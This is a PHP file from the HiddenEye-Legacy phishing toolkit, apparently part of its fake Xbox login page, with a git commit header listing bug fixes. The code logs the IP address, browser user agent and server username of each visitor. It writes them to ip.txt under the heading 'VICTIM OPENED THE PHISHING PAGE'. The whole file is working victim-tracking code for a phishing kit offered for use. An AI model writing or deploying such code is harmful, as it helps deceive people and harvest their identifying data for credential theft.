HiddenEye-Legacy/WebPages/xbox/ip2.php
Moltivie 2de87f7742 Fix #448, #449, #416, #431 and #390 (#450)
* Fix #448

* Fix #449

* Fix #416 and #431

* Added Xbox

* Fix MySpace and ProtonMail

* .gitignore file

* Fix ip.txt
2019-11-18 10:00:29 +00:00

35 lines
877 B
PHP

<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$browser = $_SERVER['HTTP_USER_AGENT'];
$useragent = " User-Agent: " . $browser;
$user = get_current_user();
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "VICTIM OPENED THE PHISHING PAGE" . "/r/n" . " Victim Public IP: ";
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $currentuser);
fclose($fp);